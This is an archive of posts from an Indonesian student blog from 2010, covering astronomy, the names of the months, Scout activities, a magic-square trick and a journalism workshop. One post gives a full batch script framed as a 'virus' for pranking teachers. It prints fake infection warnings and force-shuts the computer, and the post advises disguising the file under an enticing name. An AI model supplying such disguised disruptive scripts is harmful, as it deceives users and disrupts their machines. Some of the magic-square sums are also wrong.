mereka menemukan bahwa Yunani dulunya adalah
negara bagi kaum wanita atau kaum hawa,
karena kalau negara Yunani di peruntukan bagi
kaum laki-laki atau kaum adam,
pastilah namanya bukan Yunani
melainkan Yunanto.

Sekian Breaking News kali ini,
Terima Kasih.


Minggu, 07 Februari 2010

A girl (poetry)


The tree has entered my hands,
The sap has ascended my arms,
The tree has grown in my breast downward,
The branches grow out of me, like arms.

Tree you are,
Moss you are,
You are violets with wind above them.
A child - so high - you are,
And all this is folly to the world.


Keajaiban Langit

Kali ini kita akan membicarakan fenomena-fenomena alam yang jarang sekali terjadi, yaitu Gerhana Matahari, Gerhana Bulan dan Hujan Meteor yang terjadi dalam kurun waktu kurang dari satu bulan yaitu bulan Januari 2010. walaupun fenomena-fenomena tersebut sudah terjadi, setidaknya fenomena ini masih menjadi pembicaraan di kalangan Astronom dan Peneliti Astronomi, pasalnya fenomena ini sangat langka dan terjadi, hanya beberapa abad sekali.

Menurut berita Koran South East Express, Pan Xiaoqing, Wakil Sekretaris Jenderal Astronomi Masyarakat Provinsi Fujian, menyatakan bahwa antara tahun 2009 dengan tahun 2010, Bumi, Bulan, Matahari dan beberapa planet lainnya bergerak ke posisi yang memudahkan terjadinya fenomena langit, sehingga dalam dua tahun tersebut akan ada beberapa keajaiban astronomi yang cukup jarang terjadi. Selain itu, ia telah melakukan pengamatan tentang keajaiban-keajaiban astronomi dan memberikan peringatan serta pedoman yang relevan.

1 Januari 2010
Setelah gemerlap pesta malam tahun baru, kita melihat Gerhana Bulan di langit barat yang terjadi antara pukul 02:51 sampai sekitar pukul 03:54 dan mengalami puncaknya sekitar pukul 03:23. Peristiwa “Anjing Langit Makan Bulan” ini, memang berlangsung cukup lama dan bisa disaksikan dengan mata telanjang.

Peristiwa Gerhana Bulan pada saat tahun baru seperti ini sangat jarang terjadi, setidaknya terjadi beberapa puluh tahun sekali dan ini merupakan hal yang sangat penting dan menarik untuk diteliti dan di perbincangkan oleh ilmuan atau pun peneliti di bidang astronomi khususnya Astronom.

3 Januari 2010
“Anjing Langit Makan Bulan” sudah memukau mata kita, bagi yang ketinggalan masih ada kejadian lain di langit. Pada tanggal 3 Januari 2010, ada Hujan Meteor di langit.

“kang, berarti aku kudu siap-siap payung ya???”
“ora usah, udan meteor ora bakal nibani kowe, nrk seumpama nibani paling aku mung bisa ngomong kaya kiye SELAMAT, anda masuk dalam sejarah astronomi dunia dan semoga amal ibadah anda diterima oleh Allah SWT.”
“Amiiiin”

Hujan meteor ini terjadi dari Rasi Bintang Kuno, seperti Quadrantids yang berdekatan dengan Draco, memang rasi bintang ini tidak begitu terkenal.

Bagi anda yang ada di perkotaan, mungkin tak begitu jelas dalam melihat fenomena alam yang satu ini, pasalnya fenomena yang terjadi antara pukul 20:00 sampai pukul 24:00 ini akan susah dilihat apabila sang pengamat terlalu banyak memakai dan menerima cahaya buatan, walaupun pada konstelasi bintang tersebut ada ledakan hujan meteor pendek yang intensif, selama waktu ini, puncak lalu lintas bisa mencapai 120 butir per jam.

15 Januari 2010
Aku melihat Gerhana Matahari di siang hari. Setelah itu, aku membaca buku tentang Gerhana Matahari. Dari sana aku memperoleh informasi kalo gerhana yang tadi ku lihat tadi adalah gerhana yang sangat langka dan sangat jarang terjadi dikarenakan (begitu kata buku) memiliki cangkupan wilayah yang luas dan lama. Aku dan temen-temen ku sangat senang melihat gerhana ini.


“Ealahhh, malah curhat, kiye udu buku diary, gulih nulis sing bener lah, arep dimuat nang blog koh, masa nulise kaya nang buku diary!!!”
“O….iya, aku kelalen, sory bae lah ya”


Seperti yang sudah dikatakan tadi, ini merupakan Gerhana Matahari Cincin pertama setelah 22 tahun di beberapa kawasan dan merupakan salah satu Gerhana Matahari terpanjang dalam kurun waktu 1000 tahun terakhir. Dari China pertama kali melihat Gerhana Matahari adalah provinsi Yunnan disusul oleh Guizhou, Sichuan, Chongqing kemudian Hunan, Shaanxi, Hubei, Anhui, Jiangsu terakhir matahari terbenam di Peninsula Shandong. Dengan total lebih dari 11 provinsi dan kota. Karena cincin ini sangat luas, berlangsung juga sangat lama dan tentu saja kejadian ini sangat jarang.

Perubahan rumit dalam fenomena langit tidak ragu-ragu lagi akan memberikan topik riset yang sangat baik pada astronom. Selain itu, dipandang dari suatu Buku Kuno, perubahan fenomena langit atau alam dapat dikaitkan dengan perubahan umat manusia.

Orang zaman dulu menganggap “Langit dan Manusia itu Sepadan, Langit dan Manusia itu Satu” dengan kita mengamati perubahan langit dapat menyimpulkan apa yang mungkin terjadi pada umat manusia. Jika manusia mengikuti perubahan langit maka langit adalah lambang keberuntungan, pada bumi akan panen melimpah ruah, cuaca baik, hujan normal, angin normal, masyarakat tenang tentram dan damai. Tapi sebaliknya, apabila manusia melawan langit, maka langit adalah lambang keburukan, akan terjadi banyak bencana seperti banjir, kekeringan dan tak hanya itu juga akan terjadi kekacauan atau pemberontakan dan lain-lain. Di atas merupakan pendapat oleh orang zaman kuno, oleh sebab itu, masyarakat kuno sangat memperhatikan dan mengamati fenomena langit, seperti masyarakat Yunani Kuno.


Sabtu, 06 Februari 2010

Bagaimana Melakukannya Seperti Joe Sandy

Ku kali mau mbongkar salah satu trik yang pernah di pakai oleh Joe Sandy, di salah satu acara yang cukup menyita perhatian publik yaitu The Master (tidak bermaksud promosi). Trik ini menjadi salah satu dari sekian trik yang fenomenal di acara tersebut, pasalnya melalui trik ini Joe Sandy mampu memukau para dewan juri terutama Master Deddy Corbuzier. Dan ide menggunakan trik ini bisa dianggap brilian dari Joe Sandy. Trik yang intinya Joe membuat kotak 4 x 4 yang jika dijumlahkan secara vertikal, horizontal, diagonal, 4 angka di bagian tengah, 4 angka di masing-masing pojok, 4 angka di pojok, 2 angka tengah teratas dengan terbawah akan menghasilkan jumlah yang sama.

Berikut akan ku beritau rumusnya, ku tekankan bahwa ku tidak tau apakah Joe Sandy menggunakan rumus atau murni kekuatan pikiran pada show tersebut.

Kita coba dengan menggunakan angka yang dulu di pakai oleh Joe Sandy yaitu 49. Adapun syarat menggunakan rumus ini adalah
Angka pada baris pertama kolom 1, 2, 3 dan 4 harus anda pikirkan sendiri, sehingga jika dijumlahkan akan sesuai dengan angka yang diinginkan.
Dianjurkan supaya tidak boleh ada angka yang sama pada tabel, supaya trik atau rumus yang kita pakai tidak ketahuan.

RUMUSNYA.........ADALAH.........

A         B          C         D
D-3    C+3      B-1     A+1
B+1   A-1       D-1     C+1
C+2   D-2      A+2      B-2

Kalau nagka 49 dimasukan rumus menjadi

15     9        20        5
2       23      8         16
10     14      4         21
22      3      17         7

Perhatikan, jika baris 1 kolom 1 sampai empat (1,A) (1,B) (1,C) (1,D) yang merupakan hasil pemikiran anda ini kita jumlahkan maka akan diperoleh jumlah 49.

Cara melakukan penjumlahan
Jumlahkan secara horizontal
15+9+20+5=49
2+23+8+16=49
10+14+4+21=49
22+3+17+7=49

Jumlahkan secara vertikal
15+2+10+22=49
9+23+14+3=49
2+8+4+17=49
5+16+21+7=49

Jumlahkan secara diagonal
15+23+4+7=49
5+8+14+22=49

Jumlahkan 4 angka pusat
23+8+4+14=49

Jumlahkan 4 angka masing-masing pojok
15+5+7+22=49

Jumlahkan 4 angka pojok
15+9+23+2=49
20+5+16+8=49
4+21+17+7=49
1+14+3+22=49

Jumlahkan 2 angka tengah teratas dan terbawah
9+20+3+17=49

Selamat MencobaSelamat tahun baru 2010. Tahukah Anda bahwa di masa lalu tidak ada bulan Januari yang selalu kita sambut sebagai awal tahun baru? Bangsa Romawi merayakan tahun barunya pada tanggal 1 Maret! Bagaimana bisa begitu? Dan sejak kapan awal tahun baru berganti menjadi Januari? Wisata Kata di awal tahun ini membawa Anda menerawang ke masa lalu dan membuka kembali lembaran sejarah di balik nama-nama bulan.

Kalender Romawi pertama diperkirakan diperkenalkan pada tahun 738 SM oleh Romulus, pendiri Kerajaan Romawi yang legendaris. Satu tahun kalender kuno ini terdiri atas 304 hari yang dibagi menjadi 10 bulan. Setiap bulan merupakan kurun waktu dari satu bulan purnama ke bulan purnama berikutnya. Bangsa Romawi tampaknya mengabaikan atau tidak menghitung dua bulan pada musim dingin.

Tahun baru diawali dengan vernal equinox yang menandai musim semi. Vernal equinox adalah saat matahari berada di khatulistiwa, dan ini menyebabkan waktu siang hari sama panjangnya dengan waktu malam hari. Saat tersebut menurut kalender sekarang terjadi pada setiap tanggal 21 Maret. Maka, bulan pertama dalam tahun kalender Romulus ini jatuh pada bulan Maret yang kisahnya dituangkan di sini bersama kisah di balik nama bulan-bulan lainnya.

Kaisar Romawi yang kedua, Numa Pompilius (sekitar 715–673 SM) memutuskan untuk menambahkan dua bulan untuk mengisi dua bulan musim dingin yang tidak dihitung tersebut. Maka, muncullah bulan Januari dan Februari.
Perubahan Kalender.

Kalender yang lama ditentukan berdasarkan perhitungan bulan dan semakin dirasakan tidak cocok dengan masa pergantian musim. Untuk mengoreksinya, Julius Caesar, pada tahun 46 SM, mempekerjakan seorang ahli astronomi, Sosigenes, untuk meninjau kembali kalender tersebut. Sosigenes mengusulkan untuk menggunakan matahari, bukan bulan, sebagai dasar penetapan kalender. Dia juga mengusulkan adanya tahun kabisat, dan memindahkan awal tahun dari tanggal 1 Maret ke tanggal 1 Januari. Semua usul ini diterapkan pada kalender Julius yang dimulai pada tanggal 1 Januari 45 SM. Dengan adanya dua bulan tambahan yang mendahului awal kalender, maka bulan September, Oktober, November, dan Desember tidak lagi menjadi bulan ketujuh, kedelapan, kesembilan, dan kesepuluh sebagaimana yang disiratkan oleh asal-usul namanya. Meskipun demikian, nama keempat bulan itu tetap dipakai dan tidak pernah diubah.
Januari

Pada saat lonceng berdentang dua belas kali di malam tahun baru, yang menandai peralihan dari bulan Desember ke bulan Januari, kita mengucapkan selamat tinggal kepada tahun yang silam dan menyambut kedatangan tahun yang baru. Sungguh tepat bahwa bulan yang pertama ini disebut Januari –dewa bangsa Romawi, Janus, yang namanya digunakan untuk menamai bulan pertama ini, selalu ditampilkan berwajah dua; satu menghadap ke masa lalu dan satu lagi ke masa depan. Nama January masuk ke khazanah bahasa Inggris pada abad ke-14. Sebelumnya, bulan pertama ini disebut Wulf-Monath atau “bulan-serigala” karena pada awal tahun tersebut, musim salju yang dinginnya sangat menusuk tulang menyebabkan para serigala mendatangi permukiman manusia untuk mencari makan.
Februari

Riwayat nama bulan Februari sangat menarik. Pada setiap tanggal 15 pada bulan itu, berlangsung sebuah upacara keagamaan Romawi kuno dengan memukuli para wanita mandul. Peristiwa “pemurnian” ini disebut festival Lupercalia dan diselenggarakan di dalam gua di tepi Sungai Tiber. Dua orang pemuda remaja dipilih untuk memainkan peranan utama dalam upacara tersebut. Setelah beberapa ekor kambing dikorbankan, dari kulit hewan tersebut dibuat alat sejenis pecut. Pecut ini dinamakan februa atau “alat pemurnian”, dan kalau dipukulkan kepada wanita mandul, kemandulannya diyakini akan sirna. Kedua remaja pilihan tadi berlari-lari mengelilingi kota sambil membawa pecut masing-masing, lalu memukuli semua wanita mandul yang mereka jumpai. Entah bagaimana mereka mengetahui siapa wanita yang mandul, atau mungkin juga wanita mandul sudah menjadi rahasia umum seisi kampung.

Kesaktian pecut tersebut dalam menyembuhkan kemandulan mungkin berasal dari Juno, dewi kesuburan yang sering disebut Februaria, dan dari nama sang dewilah kita memperoleh nama bulan kedua ini. Pada mulanya, Februari memiliki 29 hari, tetapi Senat Romawi mengambil satu hari untuk diberikan kepada bulan Agustus agar Agustus tidak merasa kalah oleh bulan Juli.
Maret

Seperti telah dikemukakan, bulan ketiga dalam kalender modern kita memegang peranan penting dalam penentuan awal tahun. Sebelum masa pemerintahan Julius Caesar, tahun baru Romawi diawali pada bulan Maret. Bulan ini bukan saja mengawali tahun baru, tetapi merupakan awal musim perang. Nama bulan ini berasal dari kata Prancis Lama, melalui bahasa Latin Martius, yang secara harfiah berarti “bulan Mars, sang dewa perang”.

April

Pada bulan inilah musim semi dimulai, dan bunga-bunga mulai bermekaran atau terbuka kuncupnya. Cendekiawan Romawi bernama Varro (116–27 SM) menyebut bulan ini Aprilis, diambil dari kata Latin aperio yang berarti “terbuka”. Menurut kamus Ayto, nama bulan ini berasal dari kata Yunani Aphro, kependekan dari Aphrodite , nama dewi Yunani yang melambangkan cinta.
Mei

Pada bulan inilah konon “burung berkicau merdu dan suara kura-kura bersahut-sahutan”. Sir Thomas Malory (1400–1471), penulis berkebangsaan Inggris, menyebut bulan ini “bulan penuh nafsu”. Anehnya, bulan Mei yang romantis ini justru dianggap bulan sial untuk menikah. Bangsa Romawi menolak pernikahan bulan Mei karena pada bulan inilah berlangsung festival untuk menghormati Bona Dea , dewi yang tidak pernah berhubungan intim atau bersanggama. Festival bagi kematian yang tidak menyenangkan juga berlangsung pada bulan Mei. Kata Mei berasal dari kata Latin, Maius, yang diperkirakan berasal dari kata Maia, ibunda dewa Hermes, dewa yang dikaitkan dengan perdagangan, penciptaan, dan kelicikan. Tetapi, menurut kamus Webster, Maia adalah ibu Merkurius yang berayah Jupiter.
Juni

Nama bulan ini mungkin berasal dari Junius, nama keluarga Latin yang membunuh Julius Caesar. Sejumlah cendekiawan yakin bahwa nama Juni berasal dari nama Juno, dewi pelindung kaum wanita, karena sejak awal zaman Romawi bulan ini merupakan bulan yang paling disukai untuk pernikahan. Dewi Juno adalah saudara perempuan dan juga istri Jupiter.
Juli

Nama bulan ini diusulkan oleh Mark Antony, jenderal bangsa Romawi dan kekasih Cleopatra. Semula bulan ini disebut Quintilis yang berasal dari kata sifat quintus yang secara harfiah berarti “kelima”; bulan ini memang bulan kelima bila Maret dianggap bulan pertama. Pada tahun 44 SM, Antony mengusulkan agar bulan kelahiran Caius Julius Caesar ini dinamakan Julius sebagai penghormatan kepada sang Caesar. Ironisnya, pada saat nama tersebut mulai digunakan, pada tahun itu pulalah (44 SM) Julius Caesar terbunuh. Dalam bahasa Inggris, nama bulan ini mula-mula Julie, kemudian berubah menjadi July. Orang Malaysia menyebutnya bulan Julai.
Agustus

Octavian, salah seorang kaisar Romawi (63 SM–14), adalah keponakan Julius Caesar. Dia mendambakan memiliki kemasyhuran dan kekuasaan seperti pamannya. Antara lain, dia menginginkan ada nama bulan yang didasarkan atas namanya sendiri. Hari ulang tahunnya jatuh pada bulan September, tetapi dia memilih bulan Agustus untuk menyandang namanya karena bulan ini banyak membawa keberuntungan baginya. Senat menganugerahkan gelar kebangsawanan Augustus kepadanya pada tahun 27 SM sebagai pengakuan atas jasa-jasanya bagi negara. Maka, sejak tahun 8 SM, bulan pilihan Kaisar Octavian ini dinamakan Augustus; yang dalam bahasa Indonesia disebut Agustus, dan dalam bahasa Malaysia disebut … Ogos!
September

Karena awal tahun bangsa Romawi mula-mula jatuh pada bulan Maret, maka September adalah bulan yang ketujuh. Nama September diambil dari kata Latin septem yang berarti “tujuh”. Ketika kalender berubah dan September menjadi bulan kesembilan, namanya tidak berubah.
Oktober

Pada musim inilah asap dedaunan yang terbakar memenuhi udara. Bahkan penyair Romawi, Martial, menyebut Oktober sebagai “fumosus” atau “berasap” karena masa pembakaran daun sudah tiba. Nama Oktober itu sendiri berasal dari kata Latin octo yang berarti “delapan” karena bulan ini adalah bulan kedelapan sebelum awal kalender diubah.
November

Karena Kaisar Augustus dan Julius Caesar masing-masing sudah memiliki bulan sendiri-sendiri, kaum politikus Romawi yang sangat mengagungkan kesopanan berpendapat sudah sewajarnya jika bulan November diganti namanya sesuai dengan nama Kaisar Tiberius. Tetapi, Tiberius menolaknya dan berkomentar dengan nada bercanda: “Bagaimana kalau kaisarnya ada sebelas?” Maksudnya tentulah bahwa kaisar yang ke-11 itu tidak akan kebagian bulan untuk dinamai sesuai dengan namanya. Maka, nama bulan ini pun tetap disebut November, dari kata Latin novem yang berarti “sembilan”.
Desember

Lucius Aelius Aurelius Commodus, Kaisar Romawi menjelang akhir abad kedua, bertanya kepada gundiknya, apakah dia ingin namanya diabadikan dalam kalender. Sang kaisar menginginkan nama Amazonius karena kekasihnya itu pernah dilukis sebagai Amazon. Tetapi, Senat rupanya tidak setuju dan meminta sang kaisar untuk menonton pertarungan antara para gladiator saja sehingga ia lupa akan niatnya tersebut. Maka, bulan terakhir itu tetap dinamai Desember, dari kata Latin decem yang berarti “sepuluh” karena bulan ini adalah bulan kesepuluh dalam kalender yang belum diubah.
Penutup

Dari berbagai kamus yang saya gunakan sebagai acuan, riwayat nama bulan memang bermiripan dan saling melengkapi. Yang sering membingungkan adalah tahun yang tercantum sebagai masa pemerintahan para kaisar Romawi. Selain itu, “identitas” para dewa pun simpang siur. Namun, semua kisah dalam tulisan ini memang bukan dimaksudkan untuk diperiksa satu per satu kebenarannya bukan? Sampai di sini dahulu, pembaca. Insya Allah kita jumpa lagi nanti.

Ditulis oleh Sofia Mansoor. Dimuat pertama kali untuk Berita Buku, Januari 1997. Sumber: Funk, Word Origins; Webster’s Word Histories; Ayto, Dictionary of Word Origins; dan berbagai kamus.




Pramuka yang Berbeda

Kegiatan Pramuka di SMK Ma’arif NU 1 Sumpiuh kali ini sepertinya tak biasa, pasalnya para andik (anak didik) Pramuka di mulai kemarin (5 Februari 2010) memulai kagiatan yang kami sebut dengan PPL (Praktek Pengajaran Lapangan). Mungkin istilah PPL asing di telinga kita, untuk istilah lain yang sepadan dengan PPL adalah Turba (Turun Bawah), istilah yang intinya, siswa kelas X SMK Ma’arif NU 1 Sumpiuh mengajar materi Kepramukaan di SD atau SMP. “Memang kami menggunakan istilah sendiri, yaitu PPL”, lugas Akhmad Nur Rokhman, Pradana SMK Ma’arif NU 1 Sumpiuh masa bakti 2009-2010.

Kegiatan yang diadakan oleh DA (Dewan Ambalan) SMK Ma’arif NU 1 Sumpiuh ini akan berlangsung selama 3 bulam dengan minimal 10 kali pertemuan dimulai bulan Februari sampai dengan bulan April, atau dengan kata lain pada bulan Mei meraka sudah tidak mengajar PPL lagi. Dalam pelaksanaannya, peserta PPL boleh memilih tempat PPL yang mereka sukai dan dekat dengan rumah atau tempat tinggal mereka. Tapi, mereka hanya boleh memilih tempat PPL hanya se-Binwil Sumpiuh yaitu di Kecamatan Tambak, Sumpiuh dan Kemranjen. Di luar kecamatan itu, peserta harus melewati beberapa tes tambahan yang diadakan oleh sekolah.

Kegiatan ini merupakan salah satu solusi untuk pengisian SKU (Syarat Kecakapan Umum) tingkat Penegak Laksana yaitu salah satu pasalnya berbunyi “Membantu Pembina Siaga atau Pembina Penggalang dalam membina para Pramuka di Perindukan Siaga dan Pasukan Penggalang.” Jadi peserta PPL adalah mereka yang sudah dilantik menjadi Penegak Bantara sebelumnya.

Salah satu tampat yang sekarang ditempati oleh siswa PPL adalah MTs Ma’arif NU 2 Kemranjen. MTs yang terletak di Desa Sibrama ini hanya memiliki 3 ruang kelas untuk kelas VII dan 3 Ruang Kelas untuk kelas VIII. Walaupun sekolah tersebut sedikit jauh dari jalan raya, tapi semangat mereka untuk menjalani PPL lumayan tinggi, ini terbukti dengan jumlah anggota di kelompok mereka hanya terdiri dari 2 orang. Memang kelompok yang beranggotakan Alfian dan Achmad Fauzan Zain ini harus mengajar kelas VII dan VIII di MTs tersebut. Menurut meraka, hal ini bisa menjadi tantangan bila harus mengajar dengan pembagian satu kelas satu orang. Dan mereka juga mendapat ucapan terima kasih dari Al Ikhrom, salah satu Pembina Pramuka di sekolah tersebut. “Kami mengucapakan banyak terima kasih, berhak adik yang PPL disini kami merasa terbantu untuk mendidik andik-andik kelas VII dan VIII”,ujar Al Ikhrom, Pembina Pramuka yang memiliki Counter HP tersebut.

Berbeda lagi dengan kisah di MTs Ma’arif NU 2 Sumpiuh. MTs yang terletak di Desa Ketanda itu sangat jauh dari jalan raya dan harus naik bukit untuk samapi disana, Butuh satu setengah jam jalan kaki untuk samapi di sekolah tersebut. Hal yang unik dari MTs Ma’arif NU 2 Sumpiuh ini adalah Pembina Pramukanya, Ali Machsun, S. Ag., adalah pembina Pramuka MTs Ma’arif NU 2 Sumpiuh dan sekaligus Pembina Pramuka SMK Ma’arif NU 1 Sumpiuh. Oleh karena itu, walaupun jauh peminat peserta PPL yang mengajar disana cukup banyak, lebih dari 15 siswa yang telah terdaftar PPL di MTs Ma’arif NU 2 Sumpiuh. Salah satu yang PPL di sana adalah Dudi Dermawan, ia mengatakan bahwa PPL disana cukup mengasikan, karena kita bisa melihat pemandangan dari atas bukit bahkan laut selatan pun kelihatan, tapi untuk mencapai MTs ini diperlukan tenaga ekstra untuk memanjat jalan yang berliku-liku dan juga tanjakan-tanjakan tajam.

Lain lagi dengan SD SN 2 Kebokura. SD yang terletak di Desa Kebokura Kecamatan Sumpiuh ini sudah berstandard nasional dan akan menjadi satu-satunya SD di Sumpiuh untuk kategori SD Rintisan Berstandard international. Untuk dapat PPL di SD ini, peserta harus melewati beberapa ujian atau tes yang diadakan oleh SD tersebut, supaya siswa yang PPL di tempat itu hanya yang berkualitas saja. Buah manis bagi yang PPL di SD ini adalah mereka kebanyakan diberi uang saku oleh Pembina Pramuka untuk sekedar pengganti lelah dan transportasi.


Selasa, 02 Februari 2010

Mrihatinna Temen Pelajar Zaman Siki.

keprihatinan banyak pihak tentang pendidikan di Indonesia sudah banyak mencuat ke permukaan, baik di media cetak maupun elektronik.

Walaupun kami bukanlah siswa teladan yang mempunyai nilai A, tapi kami juga turut prihatin dengan masalh pendidikan di Negeri ini yang tak kunjung selesai.

Pelajar sekarang ( tapi hanya sebagian besarnya saja ) sudah terjangkit penyakit yang sering disebut tak tau malu. Mereka membolos dari sekolah, kluyuran di mana-mana dengan masih memakai seragam sekolah. Selain itu, sepertinya pergaulan remaja saat ini sudah terlalu bebas. Bebas…?? Ya…bebas, contohnya saja seperti disfusi HP Kamera, tau sendiri lah betapa parahnya ……adalagi cinta monyet, sekarang mencari cinta bukanlah misiman lagi seperti tahun 70 atau 80-an, yang mencari cinta hanya saat valentine atau perayaan hari cinta yang lain. Untuk di zaman sekarang ini, mencari cinta bisa setiap hari, dimana saja. Bisa dibayangkan kalo mereka hanya memikirkan itu saja, imbasnya, pelajaran pun menjadi nomor yang kesekian, apalagi agama.

Ana maning kang???? ih esih ana, aja lunga disit. Nang kene bae……………

DUGEM, anak gaul mana yang ga tau. Setiap malam mereka menghabiskan uang dan waktu hanya demi untuk dunia gemerlap. Kalo sedang apes, ya paling, mereka tertangkap polisi membawa narkoba, lalu sekolah di DO, dan seterusnya, dst…..mungkin mereka begini karena stress ( mungkin juga karena terlalu banyak PR yang harus dikerjakan ).



Warnet pun tak kalah bermasalah , di warnet para pelajar bias membuka situs-situs yang mengundang………kalo kuat sih ga papa ? kalo sebaliknya ???? intensitas warnet juga kadang sangat menggila, sampai buka tengah malam ( hanya berlaku yang membuka fasilitas buka 24 jam ), di sana, para pelajar tak jarang yang hanya mengurus satu situs saja, seperti facebook atau apalah namannya.

Yang sakit….yang sakit…….yang sakit…….

Ya, kata ini mungkin sering terucap oleh kenek-kenek bus. Wajar saja, perilaku anak muda zaman sekarang terutama para pelajar banyak yang perlu medapatkan pengobatan. Kenapa bisa ??apalagi kalo bukan karena kurangnya perhatian orangtua dan wali murid di sekolah.

Ijinkan saya untuk mengusulakan beberapa solusi yang dapat dipertimbangkan untuk mengatasi kenakalan-kenakalan pelajar saat ini.


  • Membatasi penggunaan internet untuk pelajar.
  • Pemberlakuan jam malam ( agar ga ada yang dugem malam-malam dan secara tak langsung dapat menumbuhkan kedisiplinan bagi pelajar ).
  • Kurikulum pelajar seharusnya tetap KURIKULUM ’94 saja ( karena Malaysia sukses mengggunakan kurikulum ini )
  • Pendekatan guru kepada murid juga harus dirubah.
  • Pelarangan akses diskotik ataupun bar bagi seseorang yang berusia di bawah 21 tahun.

Referensi : http://chaosregion.wordpress.com/


Cara Membuat Virus Sederhana dengan Notepad

Yuk buat “Virus” Nakal, buat ngerjain dosen/guru yang kita ngga suka, walopun sebenanya virus ini ga berbahaya tapi cukup ngeselin bagi yang tau cara memberhentiinnya, walopun aku cuma iseng sich.



Caranya: Buka notepad dan masukkan code berikut,
Efek dari virus ini hanya menshutdown PC, dan lucunya: sebelum PC
tershutdown akan muncul pesan-pesan teks yang menandakan komputer kamu
telah terinfeksi virus ganas bin very ganas. Padahal ya hanya untuk
menshutdown saja..haha

Ok, saatnya serius..Lets check it..
Silahkan copas alias copy paste kode dibawah ini di notepad kamu:

cls
:A
color 0a
cls
@echo off
echo Wscript.Sleep 5000>C:\sleep5000.vbs
echo Wscript.Sleep 3000>C:\sleep3000.vbs
echo Wscript.Sleep 4000>C:\sleep4000.vbs
echo Wscript.Sleep 2000>C:\sleep2000.vbs
cd %systemroot%\System32
dir
cls
start /w wscript.exe C:\sleep3000.vbs
echo BANGUN TIDUR KU TERUS MENGHANCURKAN SYSTEM…
echo …………………
echo:
echo:
start /w wscript.exe C:\sleep3000.vbs
echo NEXT…………!
echo:
echo:
echo HALO SOBAT
echo MAU JADI TEMAN AKU ??
echo:
echo:
echo IM ZATRYA BAJA ITEM
start /w wscript.exe C:\sleep2000.vbs
echo …………
start /w wscript.exe C:\sleep4000.vbs
echo …………
echo NTAR…….!
start /w wscript.exe C:\sleep2000.vbs
echo:
echo:
echo:
echo VIRUS INI ADALAH VIRUS YANG SANGAT MEMATIKAN…
cd C:\Documents and Settings\All Users\Start Menu\Programs\
mkdir Si_INDO_CRACKER
start /w wscript.exe C:\sleep3000.vbs
echo:
echo:
echo:
echo:
echo HAPPY BIRTHDAY
echo KOMPUTER KAMU BAGUS DEH
echo BOLEH Q INTIP DIKIT
echo HMM BOLEH JUGA NEH ISINYA
echo CALL ME YACHH +6284323xxxxxx GPRS JUGA BOLEH KOK
echo:
echo:
echo:
echo:
echo:
echo SABARAN BRO…
start /w wscript.exe C:\sleep3000.vbs
echo ………..
echo zzzzzzz….
echo:
echo:
start /w wscript.exe C:\sleep3000.vbs
echo OKE….Virus AKTIF!
echo:
echo:
echo:
start /w wscript.exe C:\sleep2000.vbs
echo FIREWALL KAMU ANCUR…
start /w wscript.exe C:\sleep2000.vbs
echo SEMUA PROSESS UDAH DIBANTAI…
start /w wscript.exe C:\sleep2000.vbs
echo VIRUS SILAHKAN BOOTING DENGAN SEGALA HORMAT…
start /w wscript.exe C:\sleep2000.vbs
echo:
echo:
echo:
echo VIRUS MASUK PODIUM AKHIR!
start /w wscript.exe C:\sleep2000.vbs
echo:
echo:
echo I LOVE U FULL
echo HA HA HA HA
echo:
echo:
echo:
echo:
start /w wscript.exe C:\sleep2000.vbs
pause
shutdown -f -s -c "BERTAUBATLAH, BACK TO YOUR GOD MOHON MAAF LAHIR DAN BATIN."

Kemudian disimpan dengan nama terserah Kamu diakhiri .bat dan save
type all file .
cth nya: Dancokboyo.bat

Virus ini beraksi pada saat file notepad yang berisi kode virus dibuka, Jadi buat nama folder dan nama file semenarik mungkin, seperti cara_bercinta_dg_baik.bat atau penting.bat dan ku usulin di taroh di DESKTOP.

Zatrya Disini hanya memberikan untuk berbagi dan sama-sama belajar. Dan
terserah bagaimana Kamu menyikapinya dan menggunakannya


.

Senin, 01 Februari 2010

Pelatihan Journalistik IPNU-IPPNU Banyumas

Assalamu 'Alaikum Wr. Wb.

Sejumlah siswa mengikuti Pelatiham Journalistik di Purwokerto, Banyumas. Acara yang diadakan oleh PC (Pimpinan Cabang) IPNU-IPPNU Kabupaten Banyumas, silaksanakan pada hari Sabtu, 30 Januari 2010 dan akan berakhir pada Minggu, 31 Januari 2010. Para siswa yang berjumlah kurang lebih 30 siswa mewakili IPNU-IPPPNU di Kamosariat, PAC ( Pimpinan Anak Cabang) ataupun tingkat PR ( Pimpinan Ranting) yang masin-masing diwakili oleh 1 siswa putra dan 1 siswi putri.

Acara pembukaan diadakan melebihi waktu yang telah di jadwalkan Panitia yaitu pukul 14.00 menjadi 14.45. acara pembukaaan diundur dikarenakan para peserta tidak datang tepat waktu, hanya 12 dari 30 yang datang tepat waktu dan yang lainnya terlambat. Acara yang diadakan di Gedung NU Banyumas yang beralamat di Jalan Raya Sultan Agung Karangklesem Purwokerto, berlangsung cukup lancar tetapi dibalik itu semua, kebanyakan kegiatan yang dilaksanakan terlambat atau diundur 20-30 menit atau lebih dari jadwal yang telah ditentukan panitia, akibatnya para peserta mengeluh saat mengikuti kegiatan terakhir pada hari sabtu malam sebelum tidur, pasalnya kegiatan yang seharusnya selesai dan merqaka harus tidur pada pukul 22.00 WIB tapi pada prakteknya selesai pukul 23.30 WIB.

Acara pembukaan yang dilaksanakan pukul 14.45 dimana Faidlotul Muhibah yang menjadi pembawa acaranya dan dilanjutkan pukul 15.30 yang dimoderatori oleh Lulu, seorang pengurus IPPNUN Banyumas adalah acara Perkenalan. Acara perkenalan yang dimoderatorinya terasa berbeda dari acara perkenalan yang lain, karena disamping para peserta memeperhatikan sang moderator dan didukung oleh moderator yang tidak kenal malu sehinga terkesan NARSIS. “Ulah mba Lulu itu narsis banget” Ujar Sari Cahya Ningsih, seorang peserta yang mewakili Komisariat SMK Ma’arif NU 1 Sumpiuh.

Setelah acara perkenalan selesai, maka Panitia Pelatihan Journalistik Lembaga Pers dan Journalaistik, mengumumkan acara yang selanjutnya yaitu Season pertama, Teknik Menggali Informasi Ide Tulisan. Wahyu Choerul Cahyadi, pemateri season ini, membawakan materi denghan santai dan menyenangkan. Sehingga walaupun materi tiu disampaikan dalam durasi 2 jam, peserta tetap mengikutinya dengan senang, santai dan paham dengan apa yang disampaikann pemateri. Diantara sekian banyak materi yaitu Bagaimana cara agar mudah menulis. “Cara agar memudahkan kita menulis diantaranya jangan terlalu terpaku dengan teori, menulislah seperti air mengalir, cuek terhadap omongan orang tapi harus tetep merhatiin kritik saran dan yang terakhir adalah jangna takut tidak ilmiah”, ujar pemateri yang merupakan penulis lepas itu.

